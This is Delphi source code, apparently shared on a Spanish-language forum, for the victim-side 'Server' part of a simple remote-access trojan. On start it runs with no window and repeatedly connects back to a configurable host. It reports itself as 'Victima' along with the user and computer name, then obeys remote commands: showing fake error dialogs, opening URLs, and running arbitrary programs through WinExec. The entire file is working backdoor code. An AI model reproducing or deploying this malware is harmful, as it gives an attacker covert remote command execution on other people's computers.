Código: Seleccionar todo

program  Server;

{$APPTYPE gui}

uses
  Winsock,
  Windows,
  UrlMon,
  ShellApi,
  SysUtils;


type
  TDynStringArray = array of string;


type
  TServer = class(TObject)
  Private
    hSocket:  TSocket;
    Addr:     TSockAddrIn;
    wsaData:  TWSAData;
  Public
    procedure Connect;
    procedure SendData(Data: String);
    procedure ReceiveData(Socket: TSocket; Buffer: PByte);
    function UserName(): string;
    function CompName(): string;
    function GetWindowsVersion(): string;
    function GetIPFromHost(const HostName: string): string;
    function Explode(const Separator, S :String; Limit :Integer = 0): TDynStringArray;
end;

var
  Server:   TServer;
  Close:    Boolean;
   VerInfo: TOsversionInfo;
  PlatformId, VersionNumber: string;

  //Connection settings
  hPort: Integer;
  hHost: String;



procedure TServer.ReceiveData(Socket: TSocket; Buffer: PByte);
var

  Dire : String;
  Data: String;
  strArr: TDynStringArray;
begin
Data := String(Buffer);
Data := Trim(Data);
if Length(Data) > 0 then begin

StrArr := Explode('|', Data);


  if StrArr[0] = 'mensaje' then begin
   MessageBox(0,pchar(StrArr[1]),pchar(StrArr[2]),MB_OK + MB_ICONERROR)
   end
  else
  if StrArr[0] = 'mensaje1' then begin
  MessageBox(0,pchar(StrArr[1]),pchar(StrArr[2]),MB_OK + MB_ICONWARNING)
    end
   else
if StrArr[0] = 'mensaje2' then begin
  MessageBox(0,pchar(StrArr[1]),pchar(StrArr[2]),MB_OK + MB_ICONINFORMATION)
   end
   else
 if StrArr[0] = 'Link' then begin
Dire := pchar(StrArr[1]);
HLinkNavigateString(NIL, PWideChar(WideString(Dire)) );
end
else
if StrArr[0] = 'ejecuta' then begin
WinExec(pchar(StrArr[1]),SW_SHOWNORMAL);
end;
end;
end;




procedure TServer.Connect;
var
  Buffer: Array[0..8192] Of Char;
  iRecv: Integer;
Begin
  if (WSAStartup($0202, wsaData) <> 0) then
  begin


    Readln;

    Exit;
  end;
  Close := False;
  repeat
hSocket := Socket(AF_INET, SOCK_STREAM, 0);
Addr.sin_family   := AF_INET;
Addr.sin_port     := htons(hPort);
Addr.sin_addr.S_addr := INET_ADDR(PChar(GetIPFromHost(hHost)));
if (Winsock.Connect(hSocket, Addr, SizeOf(Addr)) = 0) then
begin

SendData('ADDNEW|'+ 'Victima'+'|' + UserName + '|' + CompName + '|' + GetWindowsVersion  );


      ZeroMemory(@Buffer, SizeOf(Buffer));
      iRecv := Recv(hSocket, Buffer, SizeOf(Buffer), 0);
      while ((iRecv > 0) and (iRecv <> INVALID_SOCKET)) do
      begin
        ReceiveData(hSocket, @Buffer);
        ZeroMemory(@Buffer, SizeOf(Buffer));
        iRecv := Recv(hSocket, Buffer, SizeOf(Buffer), 0);
      end;



      CloseSocket(hSocket);
    end;


    Sleep(3000);
   until (Close);
  WSACleanup();
end;

function TServer.UserName(): string;
var
  User : array[0..255] of Char;
  SizeOfUser : Cardinal;
begin
  SizeOfUser := SizeOf(User);
  if GetUserName(User, SizeOfUser) = True then
    Result := string(User)
  else
  Result := 'Unknown';
end;

function TServer.CompName(): string;
var
  Comp : array[0..255] of Char;
  SizeOfComp : Cardinal;
begin
  SizeOfComp := SizeOf(Comp);
  if GetComputerName(Comp, SizeOfComp) = True then
    Result := string(Comp)
  else
  Result := 'Unknown';
end;
function TServer.GetWindowsVersion: string;


begin

end;

function TServer.GetIPFromHost(const HostName: string): string;
type
  TaPInAddr = array[0..10] of PInAddr;
  PaPInAddr = ^TaPInAddr;
var
  phe: PHostEnt;
  pptr: PaPInAddr;
  i: Integer;
begin
  Result := '';
  phe := GetHostByName(PChar(HostName));
  if phe = nil then Exit;
  pPtr := PaPInAddr(phe^.h_addr_list);
  i := 0;
  while pPtr^[i] <> nil do
  begin
    Result := inet_ntoa(pptr^[i]^);
    Inc(i);
  end;
end;


function TServer.Explode(const Separator, S :String; Limit :Integer = 0): TDynStringArray;
  var
    SepLen: Integer;
    F, P: PChar;
begin
  SetLength(Result, 0);
  if (S = '') or (Limit < 0) then
    Exit;
  if Separator = '' then
    begin
      SetLength(Result, 1);
      Result[0] := S;
      Exit;
    end;
  SepLen := Length(Separator);

  P := PChar(S);
  while P^ <> #0 do
    begin
      F := P;
      P := AnsiStrPos(P, PChar(Separator));
      if (P = nil) or ((Limit > 0) and (Length(Result) = Limit - 1)) then
        P := StrEnd(F);
      SetLength(Result, Length(Result) + 1);
      SetString(Result[High(Result)], F, P - F);
      F := P;
      if P = Separator then
        SetLength(Result, Length(Result) + 1);
      while (P^ <> #0) and (P - F < SepLen) do
        Inc(P);
    end;
end;

procedure TServer.SendData(Data: String);
var
  Len: LongInt;
begin
  Len := Length(Data);
  Send(hSocket, Data[1], Len, 0);
end;

begin

  Server := TServer.Create;
  hHost := 'tu ip';
  hPort := 3111;

  Server.Connect;
end.